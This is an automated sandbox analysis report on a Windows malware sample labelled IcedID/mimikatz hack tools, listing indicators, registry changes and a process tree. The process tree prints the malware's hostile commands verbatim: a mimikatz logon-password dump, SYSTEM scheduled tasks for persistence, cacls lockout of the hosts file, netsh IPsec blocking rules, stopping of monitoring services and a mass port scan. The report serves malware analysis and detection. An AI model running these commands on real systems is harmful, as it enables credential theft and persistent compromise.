opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language bzqgcfbub.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language wpcap.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dmcubpzyb.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 2024-09-26_bacaff832a654cfea49d0d4747e45d19_hacktools_icedid_mimikatz.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 1544 cmd.exe 1408 PING.EXE -
NSIS installer 3 IoCs
resource yara_rule behavioral2/files/0x000700000002347d-6.dat nsis_installer_2 behavioral2/files/0x0008000000023494-15.dat nsis_installer_1 behavioral2/files/0x0008000000023494-15.dat nsis_installer_2 -
Modifies data under HKEY_USERS 45 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump uszrgkbhg.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" uszrgkbhg.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" uszrgkbhg.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump uszrgkbhg.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" uszrgkbhg.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" uszrgkbhg.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" uszrgkbhg.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump uszrgkbhg.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" bvktrsb.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" bvktrsb.exe Key created \REGISTRY\USER\.DEFAULT\Software uszrgkbhg.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump uszrgkbhg.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump uszrgkbhg.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump uszrgkbhg.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump uszrgkbhg.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump uszrgkbhg.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" uszrgkbhg.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump uszrgkbhg.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump uszrgkbhg.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump uszrgkbhg.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing uszrgkbhg.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals uszrgkbhg.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump uszrgkbhg.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" uszrgkbhg.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" uszrgkbhg.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" uszrgkbhg.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" uszrgkbhg.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump uszrgkbhg.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" uszrgkbhg.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" uszrgkbhg.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump uszrgkbhg.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" uszrgkbhg.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump uszrgkbhg.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump uszrgkbhg.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" uszrgkbhg.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" bvktrsb.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump uszrgkbhg.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" uszrgkbhg.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" uszrgkbhg.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump uszrgkbhg.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" uszrgkbhg.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing bvktrsb.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ bvktrsb.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" bvktrsb.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" uszrgkbhg.exe -
Modifies registry class 14 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ bvktrsb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ bvktrsb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile" bvktrsb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\ bvktrsb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile" bvktrsb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile" bvktrsb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ bvktrsb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ bvktrsb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile" bvktrsb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ bvktrsb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile" bvktrsb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ bvktrsb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile" bvktrsb.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile" bvktrsb.exe -
Runs net.exe
-
Runs ping.exe 1 TTPs 1 IoCs
pid Process 1408 PING.EXE -
Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 924 schtasks.exe 3632 schtasks.exe 1060 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe -
Suspicious behavior: LoadsDriver 15 IoCs
pid Process 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found 660 Process not Found -
Suspicious behavior: RenamesItself 1 IoCs
pid Process 1836 2024-09-26_bacaff832a654cfea49d0d4747e45d19_hacktools_icedid_mimikatz.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 1836 2024-09-26_bacaff832a654cfea49d0d4747e45d19_hacktools_icedid_mimikatz.exe Token: SeDebugPrivilege 3172 bvktrsb.exe Token: SeDebugPrivilege 3308 bvktrsb.exe Token: SeDebugPrivilege 4080 vfshost.exe Token: SeDebugPrivilege 2012 uszrgkbhg.exe Token: SeLockMemoryPrivilege 4764 etrbcg.exe Token: SeLockMemoryPrivilege 4764 etrbcg.exe Token: SeDebugPrivilege 4264 uszrgkbhg.exe Token: SeDebugPrivilege 1112 uszrgkbhg.exe Token: SeDebugPrivilege 1776 uszrgkbhg.exe Token: SeDebugPrivilege 2468 uszrgkbhg.exe Token: SeDebugPrivilege 3520 uszrgkbhg.exe Token: SeDebugPrivilege 2516 uszrgkbhg.exe Token: SeDebugPrivilege 5104 uszrgkbhg.exe Token: SeDebugPrivilege 4384 uszrgkbhg.exe Token: SeDebugPrivilege 3640 uszrgkbhg.exe Token: SeDebugPrivilege 4616 uszrgkbhg.exe Token: SeDebugPrivilege 2612 uszrgkbhg.exe Token: SeDebugPrivilege 1664 uszrgkbhg.exe Token: SeDebugPrivilege 3244 uszrgkbhg.exe Token: SeDebugPrivilege 3144 uszrgkbhg.exe Token: SeDebugPrivilege 4276 uszrgkbhg.exe Token: SeDebugPrivilege 1396 uszrgkbhg.exe Token: SeDebugPrivilege 4432 uszrgkbhg.exe -
Suspicious use of SetWindowsHookEx 10 IoCs
pid Process 1836 2024-09-26_bacaff832a654cfea49d0d4747e45d19_hacktools_icedid_mimikatz.exe 1836 2024-09-26_bacaff832a654cfea49d0d4747e45d19_hacktools_icedid_mimikatz.exe 3172 bvktrsb.exe 3172 bvktrsb.exe 3308 bvktrsb.exe 3308 bvktrsb.exe 4120 xohudmc.exe 3876 ewqksq.exe 5004 bvktrsb.exe 5004 bvktrsb.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1836 wrote to memory of 1544 1836 2024-09-26_bacaff832a654cfea49d0d4747e45d19_hacktools_icedid_mimikatz.exe 82 PID 1836 wrote to memory of 1544 1836 2024-09-26_bacaff832a654cfea49d0d4747e45d19_hacktools_icedid_mimikatz.exe 82 PID 1836 wrote to memory of 1544 1836 2024-09-26_bacaff832a654cfea49d0d4747e45d19_hacktools_icedid_mimikatz.exe 82 PID 1544 wrote to memory of 1408 1544 cmd.exe 84 PID 1544 wrote to memory of 1408 1544 cmd.exe 84 PID 1544 wrote to memory of 1408 1544 cmd.exe 84 PID 1544 wrote to memory of 3172 1544 cmd.exe 85 PID 1544 wrote to memory of 3172 1544 cmd.exe 85 PID 1544 wrote to memory of 3172 1544 cmd.exe 85 PID 3308 wrote to memory of 344 3308 bvktrsb.exe 87 PID 3308 wrote to memory of 344 3308 bvktrsb.exe 87 PID 3308 wrote to memory of 344 3308 bvktrsb.exe 87 PID 344 wrote to memory of 4860 344 cmd.exe 89 PID 344 wrote to memory of 4860 344 cmd.exe 89 PID 344 wrote to memory of 4860 344 cmd.exe 89 PID 344 wrote to memory of 2736 344 cmd.exe 90 PID 344 wrote to memory of 2736 344 cmd.exe 90 PID 344 wrote to memory of 2736 344 cmd.exe 90 PID 344 wrote to memory of 4060 344 cmd.exe 91 PID 344 wrote to memory of 4060 344 cmd.exe 91 PID 344 wrote to memory of 4060 344 cmd.exe 91 PID 344 wrote to memory of 3612 344 cmd.exe 92 PID 344 wrote to memory of 3612 344 cmd.exe 92 PID 344 wrote to memory of 3612 344 cmd.exe 92 PID 344 wrote to memory of 3092 344 cmd.exe 93 PID 344 wrote to memory of 3092 344 cmd.exe 93 PID 344 wrote to memory of 3092 344 cmd.exe 93 PID 344 wrote to memory of 3492 344 cmd.exe 94 PID 344 wrote to memory of 3492 344 cmd.exe 94 PID 344 wrote to memory of 3492 344 cmd.exe 94 PID 3308 wrote to memory of 428 3308 bvktrsb.exe 102 PID 3308 wrote to memory of 428 3308 bvktrsb.exe 102 PID 3308 wrote to memory of 428 3308 bvktrsb.exe 102 PID 3308 wrote to memory of 3132 3308 bvktrsb.exe 104 PID 3308 wrote to memory of 3132 3308 bvktrsb.exe 104 PID 3308 wrote to memory of 3132 3308 bvktrsb.exe 104 PID 3308 wrote to memory of 3516 3308 bvktrsb.exe 106 PID 3308 wrote to memory of 3516 3308 bvktrsb.exe 106 PID 3308 wrote to memory of 3516 3308 bvktrsb.exe 106 PID 3308 wrote to memory of 3620 3308 bvktrsb.exe 110 PID 3308 wrote to memory of 3620 3308 bvktrsb.exe 110 PID 3308 wrote to memory of 3620 3308 bvktrsb.exe 110 PID 3620 wrote to memory of 4556 3620 cmd.exe 112 PID 3620 wrote to memory of 4556 3620 cmd.exe 112 PID 3620 wrote to memory of 4556 3620 cmd.exe 112 PID 4556 wrote to memory of 1524 4556 wpcap.exe 113 PID 4556 wrote to memory of 1524 4556 wpcap.exe 113 PID 4556 wrote to memory of 1524 4556 wpcap.exe 113 PID 1524 wrote to memory of 2396 1524 net.exe 115 PID 1524 wrote to memory of 2396 1524 net.exe 115 PID 1524 wrote to memory of 2396 1524 net.exe 115 PID 4556 wrote to memory of 4448 4556 wpcap.exe 116 PID 4556 wrote to memory of 4448 4556 wpcap.exe 116 PID 4556 wrote to memory of 4448 4556 wpcap.exe 116 PID 4448 wrote to memory of 3488 4448 net.exe 118 PID 4448 wrote to memory of 3488 4448 net.exe 118 PID 4448 wrote to memory of 3488 4448 net.exe 118 PID 4556 wrote to memory of 764 4556 wpcap.exe 119 PID 4556 wrote to memory of 764 4556 wpcap.exe 119 PID 4556 wrote to memory of 764 4556 wpcap.exe 119 PID 764 wrote to memory of 4124 764 net.exe 121 PID 764 wrote to memory of 4124 764 net.exe 121 PID 764 wrote to memory of 4124 764 net.exe 121 PID 4556 wrote to memory of 3460 4556 wpcap.exe 122
Processes
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2088
-
C:\Windows\TEMP\cgtzflmun\etrbcg.exe"C:\Windows\TEMP\cgtzflmun\etrbcg.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4764
-
-
C:\Users\Admin\AppData\Local\Temp\2024-09-26_bacaff832a654cfea49d0d4747e45d19_hacktools_icedid_mimikatz.exe"C:\Users\Admin\AppData\Local\Temp\2024-09-26_bacaff832a654cfea49d0d4747e45d19_hacktools_icedid_mimikatz.exe"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1836 -
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\zrnbqagb\bvktrsb.exe2⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:1544 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:1408
-
-
C:\Windows\zrnbqagb\bvktrsb.exeC:\Windows\zrnbqagb\bvktrsb.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:3172
-
-
-
C:\Windows\zrnbqagb\bvktrsb.exeC:\Windows\zrnbqagb\bvktrsb.exe1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3308 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:344 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:4860
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵
- System Location Discovery: System Language Discovery
PID:2736
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:4060
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵
- System Location Discovery: System Language Discovery
PID:3612
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:3092
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵
- System Location Discovery: System Language Discovery
PID:3492
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static del all2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:428
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add policy name=Bastards description=FuckingBastards2⤵
- Event Triggered Execution: Netsh Helper DLL
PID:3132
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filteraction name=BastardsList action=block2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:3516
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\zrpibinil\igbbtbinb\wpcap.exe /S2⤵
- Suspicious use of WriteProcessMemory
PID:3620 -
C:\Windows\zrpibinil\igbbtbinb\wpcap.exeC:\Windows\zrpibinil\igbbtbinb\wpcap.exe /S3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4556 -
C:\Windows\SysWOW64\net.exenet stop "Boundary Meter"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1524 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Boundary Meter"5⤵PID:2396
-
-
-
C:\Windows\SysWOW64\net.exenet stop "TrueSight Meter"4⤵
- Suspicious use of WriteProcessMemory
PID:4448 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueSight Meter"5⤵
- System Location Discovery: System Language Discovery
PID:3488
-
-
-
C:\Windows\SysWOW64\net.exenet stop npf4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:764 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop npf5⤵
- System Location Discovery: System Language Discovery
PID:4124
-
-
-
C:\Windows\SysWOW64\net.exenet start npf4⤵
- System Location Discovery: System Language Discovery
PID:3460 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf5⤵PID:2740
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵
- System Location Discovery: System Language Discovery
PID:1220 -
C:\Windows\SysWOW64\net.exenet start npf3⤵PID:4328
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵
- System Location Discovery: System Language Discovery
PID:4700
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:5088
-
C:\Windows\SysWOW64\net.exenet start npf3⤵
- System Location Discovery: System Language Discovery
PID:1628 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:1392
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\zrpibinil\igbbtbinb\bzqgcfbub.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\zrpibinil\igbbtbinb\Scant.txt2⤵
- System Location Discovery: System Language Discovery
PID:4908 -
C:\Windows\zrpibinil\igbbtbinb\bzqgcfbub.exeC:\Windows\zrpibinil\igbbtbinb\bzqgcfbub.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\zrpibinil\igbbtbinb\Scant.txt3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2604
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\zrpibinil\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\zrpibinil\Corporate\log.txt2⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
PID:3876 -
C:\Windows\zrpibinil\Corporate\vfshost.exeC:\Windows\zrpibinil\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4080
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ernbsdbun" /ru system /tr "cmd /c C:\Windows\ime\bvktrsb.exe"2⤵
- System Location Discovery: System Language Discovery
PID:4436 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:1056
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "ernbsdbun" /ru system /tr "cmd /c C:\Windows\ime\bvktrsb.exe"3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:1060
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "qabkiibgb" /ru system /tr "cmd /c echo Y|cacls C:\Windows\zrnbqagb\bvktrsb.exe /p everyone:F"2⤵
- System Location Discovery: System Language Discovery
PID:2612 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:748
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "qabkiibgb" /ru system /tr "cmd /c echo Y|cacls C:\Windows\zrnbqagb\bvktrsb.exe /p everyone:F"3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:3632
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ltgnenzlz" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\cgtzflmun\etrbcg.exe /p everyone:F"2⤵
- System Location Discovery: System Language Discovery
PID:1004 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:5028
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "ltgnenzlz" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\cgtzflmun\etrbcg.exe /p everyone:F"3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:924
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:2932
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:4840
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:3748
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:684
-
-
